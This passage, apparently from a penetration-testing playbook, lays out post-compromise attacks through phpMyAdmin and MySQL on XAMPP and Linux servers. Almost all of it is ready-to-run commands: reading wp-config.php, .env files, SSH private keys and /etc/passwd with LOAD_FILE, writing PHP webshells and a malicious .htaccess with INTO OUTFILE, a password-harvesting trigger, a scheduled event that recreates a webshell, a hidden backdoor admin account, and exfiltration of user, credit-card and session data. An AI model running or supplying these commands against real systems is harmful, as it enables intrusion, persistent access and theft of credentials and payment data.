-- Password resets now go to attacker
```

Tools: PHPMyAdmin Find and Replace

Expected Outcome: All admin emails redirected, account takeover possible

■ Status Tab Process List Analysis

Objective: Monitor active queries for credentials and sensitive operations

Testing Steps:

- [1] Navigate to Status tab
- [2] View Processes list
- [3] Monitor active queries in real-time
- [4] Capture queries containing passwords
- [5] Export process list for analysis

Commands:

```
-- Via PHPMyAdmin Status → Processes:  
-- Refresh frequently  
-- Look for INSERT/UPDATE queries on user tables  
-- Queries visible:  
-- INSERT INTO users (username, password) VALUES ("admin", "NewPass123!");  
-- UPDATE users SET password="PlainTextPass" WHERE id=1;  
-- Capture and store credentials
```

Tools: PHPMyAdmin Status interface

Expected Outcome: Live credentials captured from active queries

■ Variables Tab Configuration Extraction

Objective: Extract MySQL configuration for security assessment

Testing Steps:

- [1] Navigate to Variables tab
- [2] View all MySQL server variables
- [3] Identify security-relevant settings
- [4] Export variable list
- [5] Analyze for misconfigurations

Commands:

```
-- Via PHPMyAdmin Variables tab:  
-- Search for: secure_file_priv  
-- Value: "" (empty = unrestricted)  
  
-- Search for: plugin_dir  
-- Value: C:/xampp/mysql/lib/plugin/  
  
-- Export all variables for analysis
```

Tools: PHPMyAdmin Variables tab

Expected Outcome: secure_file_priv is empty, unrestricted file operations possible

■ Target: PHPMyAdmin SQL Query-Based Operations

■ LOAD_FILE - WordPress Config Extraction

Objective: Read wp-config.php to extract database credentials

Testing Steps:

- [1] Identify WordPress installation path
- [2] Use LOAD_FILE to read wp-config.php
- [3] Extract DB_NAME, DB_USER, DB_PASSWORD constants
- [4] Parse file for API keys and salts
- [5] Test extracted credentials

Commands:

```
SELECT LOAD_FILE("C:/xampp/htdocs/wordpress/wp-config.php");  
SELECT LOAD_FILE("/var/www/html/wp-config.php");  
  
-- Parse output for:  
-- define("DB_NAME", "wordpress");  
-- define("DB_USER", "wp_user");  
-- define("DB_PASSWORD", "wp_pass123");  
  
mysql -h localhost -u wp_user -pwp_pass123 wordpress
```

Tools: PHPMyAdmin SQL tab, text parser

Expected Outcome: WordPress DB credentials extracted: wp_user/wp_pass123

■ LOAD_FILE - Laravel .env File Extraction

Objective: Extract environment variables from Laravel .env file

Testing Steps:

- [1] Locate Laravel installation directory
- [2] Read .env file using LOAD_FILE
- [3] Extract database credentials
- [4] Extract API keys (AWS, Stripe, Mail)
- [5] Document all sensitive values

Commands:

```
SELECT LOAD_FILE("C:/xampp/htdocs/laravel/.env");
SELECT LOAD_FILE("/var/www/html/myapp/.env");

-- Extract:
-- DB_DATABASE=laravel_db
-- DB_USERNAME=laravel_user
-- DB_PASSWORD=SecurePass123
-- AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
-- STRIPE_SECRET=sk_test_...
```

Tools: PHPMyAdmin SQL tab

Expected Outcome: Database creds + AWS keys + Stripe API key extracted

■ LOAD_FILE - Linux /etc/passwd Extraction

Objective: Read Linux password file to enumerate user accounts

Testing Steps:

- [1] Use LOAD_FILE to read /etc/passwd
- [2] Enumerate system user accounts
- [3] Identify users with shell access
- [4] Target accounts for further attacks
- [5] Document user information

Commands:

```
SELECT LOAD_FILE("/etc/passwd");

-- Output parsing:
-- root:x:0:0:root:/root:/bin/bash
-- mysql:x:108:113:MySQL Server,,,:/var/lib/mysql:/bin/false
-- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

-- Identify users with /bin/bash shell for targeting
```

Tools: PHPMyAdmin SQL tab

Expected Outcome: User accounts enumerated, root and mysql users identified

■ LOAD_FILE - SSH Private Key Extraction

Objective: Steal SSH private keys for passwordless access

Testing Steps:

- [1] Enumerate user home directories
- [2] Read .ssh/id_rsa files
- [3] Extract private keys
- [4] Save to local file with proper permissions
- [5] Use for SSH authentication

Commands:

```
SELECT LOAD_FILE("/home/admin/.ssh/id_rsa");
SELECT LOAD_FILE("/root/.ssh/id_rsa");
SELECT LOAD_FILE("C:/Users/Administrator/.ssh/id_rsa");

-- Save output to id_rsa file
chmod 600 id_rsa
ssh -i id_rsa admin@target
ssh -i id_rsa root@other_server
```

Tools: PHPMyAdmin, SSH client

Expected Outcome: SSH private key extracted, passwordless access to 3 servers

■ LOAD_FILE - Apache Configuration Reading

Objective: Read Apache configuration for security analysis

Testing Steps:

- [1] Locate Apache configuration file path
- [2] Read httpd.conf or apache2.conf
- [3] Extract virtual host configurations
- [4] Identify document roots and aliases
- [5] Find .htpasswd file locations

Commands:

```
SELECT LOAD_FILE("C:/xampp/apache/conf/httpd.conf");
SELECT LOAD_FILE("/etc/apache2/apache2.conf");
SELECT LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf");

-- Extract:
-- DocumentRoot "C:/xampp/htdocs"
-- <Directory "C:/xampp/htdocs">
-- AllowOverride All
```

Tools: PHPMyAdmin SQL tab

Expected Outcome: Apache config revealed, AllowOverride All enables .htaccess attacks

■ LOAD_FILE - FileZilla Server Config Extraction

Objective: Extract FTP credentials from FileZilla configuration

Testing Steps:

- [1] Locate FileZilla Server.xml file
- [2] Read XML configuration using LOAD_FILE
- [3] Parse XML for FTP user accounts
- [4] Extract password hashes
- [5] Decrypt or crack passwords

Commands:

```
SELECT LOAD_FILE("C:/xampp/FileZilla Server/FileZilla Server.xml");
SELECT LOAD_FILE("C:/Program Files/FileZilla Server/FileZilla Server.xml");

-- Parse XML output:
-- <User Name="ftpadmin">
-- <Option Name="Pass">MD5_HASH</Option>
-- <Permission Dir="C:/xampp/htdocs">

-- Crack MD5 hash
hashcat -m 0 hash.txt rockyou.txt
```

Tools: PHPMyAdmin, hashcat, XML parser

Expected Outcome: FTP credentials recovered: ftpadmin/ftp123

■ INTO OUTFILE - Multi-Webshell Deployment

Objective: Deploy multiple webshells to different locations

Testing Steps:

- [1] Create webshells with different functionalities
- [2] Deploy to htdocs, uploads, images directories
- [3] Use different filenames to avoid detection
- [4] Test each webshell
- [5] Document all shell locations

Commands:

```
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE "C:/xampp/htdocs/index.php";
SELECT "<?php eval($_POST['x']); ?>" INTO OUTFILE "C:/xampp/htdocs/uploads/image.php";
SELECT "<?php passthru($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/admin/config.php";

curl http://target/index.php?c=whoami
curl -d "x=phpinfo()" http://target/uploads/image.php
curl http://target/admin/config.php?cmd=dir
```

Tools: PHPMyAdmin, curl

Expected Outcome: Three webshells deployed in different directories

■ INTO OUTFILE - .htaccess Creation

Objective: Create malicious .htaccess file via SQL

Testing Steps:

- [1] Craft .htaccess to enable PHP in image directories
- [2] Use INTO OUTFILE to write .htaccess
- [3] Upload PHP file with image extension
- [4] Access PHP file to execute code
- [5] Bypass upload filters

Commands:

```
SELECT "AddType application/x-httdp-php .jpg\nAddType application/x-httdp-php .png" INTO OUTFILE  
"C:/xampp/htdocs/uploads/.htaccess";  
  
-- Then upload PHP with .jpg extension:  
  
SELECT "<?php system($_GET['x']); ?>" INTO OUTFILE "C:/xampp/htdocs/uploads/shell.jpg";  
  
curl http://target/uploads/shell.jpg?x=whoami
```

Tools: PHPMyAdmin, curl

Expected Outcome: .htaccess created, PHP execution enabled in uploads folder

■ Trigger-Based Credential Harvesting

Objective: Create database trigger to log all new passwords

Testing Steps:

- [1] Create exfiltration table for storing harvested data
- [2] Create AFTER INSERT trigger on users table
- [3] Trigger logs username and password on new registrations
- [4] Monitor exfiltration table periodically
- [5] Export harvested credentials

Commands:

```
-- Create exfiltration table:  
  
CREATE TABLE harvested_creds (id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255), password  
VARCHAR(255), captured_at TIMESTAMP);  
  
-- Create trigger:  
  
CREATE TRIGGER harvest_passwords AFTER INSERT ON users FOR EACH ROW INSERT INTO harvested_creds  
(username, password, captured_at) VALUES (NEW.username, NEW.password, NOW());  
  
-- Monitor harvested data:  
  
SELECT * FROM harvested_creds ORDER BY captured_at DESC;
```

Tools: PHPMyAdmin SQL tab

Expected Outcome: Trigger created, all new user registrations logged automatically

■ Event Scheduler - Recurring Webshell Recreation

Objective: Schedule automated webshell recreation daily

Testing Steps:

- [1] Enable MySQL Event Scheduler
- [2] Create event to recreate deleted webshell
- [3] Set event to run daily
- [4] Verify event is active
- [5] Webshell auto-recreates if deleted

Commands:

```
-- Enable scheduler:  
SET GLOBAL event_scheduler = ON;  
  
-- Create recurring event:  
CREATE EVENT recreate_shell ON SCHEDULE EVERY 1 DAY DO SELECT "<?php system($_GET['cmd']); ?>" INTO  
OUTFILE "C:/xampp/htdocs/persistent.php";  
  
-- Verify:  
SHOW EVENTS;  
SELECT * FROM information_schema.EVENTS;
```

Tools: PHPMyAdmin SQL tab

Expected Outcome: Persistent webshell recreates daily even if deleted

■ Backdoor MySQL User Creation

Objective: Create hidden administrative MySQL account

Testing Steps:

- [1] Create new user with innocuous name
- [2] Grant all privileges
- [3] Allow remote connections from any host
- [4] Test backdoor account
- [5] Use for persistent database access

Commands:

```
CREATE USER 'system_monitor'@'%' IDENTIFIED BY 'MonitorPass2024!';  
GRANT ALL PRIVILEGES ON *.* TO 'system_monitor'@'%' WITH GRANT OPTION;  
FLUSH PRIVILEGES;  
  
-- Test from remote:  
mysql -h target -u system_monitor -pMonitorPass2024!  
mysql -h target -u system_monitor -pMonitorPass2024! -e "SHOW DATABASES;"
```

Tools: PHPMyAdmin SQL tab, mysql client

Expected Outcome: Backdoor account created, persistent remote access established

■ Target: Data Exfiltration via PHPMyAdmin

■ Complete Database Export via GUI

Objective: Export all databases using PHPMyAdmin Export feature

Testing Steps:

- [1] Navigate to Export tab
- [2] Select "Export all databases"
- [3] Choose SQL format with complete inserts
- [4] Enable gzip compression
- [5] Download complete database dump

Commands:

```
-- Via PHPMyAdmin Export tab:  
-- Export method: Custom  
-- Databases: Select all  
-- Format: SQL  
-- Options: Complete inserts, Extended inserts  
-- Compression: gzip  
-- Or via mysqldump:  
mysqldump -h target -u root --all-databases | gzip > all_databases.sql.gz
```

Tools: PHPMyAdmin Export, mysqldump

Expected Outcome: Complete database backup downloaded: 500MB compressed

■ Selective Table CSV Export

Objective: Export high-value tables containing sensitive data

Testing Steps:

- [1] Identify tables with PII/financial data
- [2] Select specific tables for export
- [3] Export as CSV for easy parsing
- [4] Download exported files
- [5] Parse for credit cards, SSNs, passwords

Commands:

```
-- Via PHPMyAdmin Export:  
-- Table: users (username, password, email)  
-- Format: CSV  
-- Download  
-- Or via SQL:  
SELECT * FROM users INTO OUTFILE "C:/xampp/htdocs/users.csv" FIELDS TERMINATED BY "," ENCLOSED BY '\"';  
SELECT * FROM credit_cards INTO OUTFILE "C:/xampp/htdocs/cc.csv";  
wget http://target/users.csv  
wget http://target/cc.csv
```

Tools: PHPMyAdmin, wget, curl

Expected Outcome: Users table: 50,000 records, credit_cards: 5,000 records exfiltrated

■ SQL Query Result Export

Objective: Execute custom queries and export results

Testing Steps:

- [1] Craft SQL query to extract specific data
- [2] Filter for high-value records (admins, VIPs)
- [3] Execute query in SQL tab
- [4] Export results as CSV

[5] Download and analyze

Commands:

```
-- In PHPMyAdmin SQL tab:  
SELECT username, password, email FROM users WHERE role="admin";  
SELECT card_number, cvv, expiry FROM payments WHERE amount > 1000;  
SELECT api_key, secret_key FROM config WHERE service="aws";  
  
-- Click Export, format CSV  
-- Download results
```

Tools: PHPMyAdmin SQL tab

Expected Outcome: Admin accounts: 15, High-value transactions: 500, AWS keys: 3 extracted

■ Session Token Theft from Database

Objective: Export active session tokens for account hijacking

Testing Steps:

- [1] Identify session storage table
- [2] Query for active unexpired sessions
- [3] Extract session IDs and user data
- [4] Export to CSV
- [5] Use tokens to hijack accounts

Commands:

```
SELECT * FROM sessions WHERE expires > UNIX_TIMESTAMP();  
SELECT sess_id, sess_data FROM ci_sessions WHERE last_activity > (UNIX_TIMESTAMP() - 3600);  
SELECT session_key, user_id FROM django_session WHERE expire_date > NOW();  
  
-- Export and use:  
curl -H "Cookie: session_id=stolen_token" http://target/admin/
```

Tools: PHPMyAdmin, curl, cookie editor

Expected Outcome: 45 active sessions stolen, admin session hijacked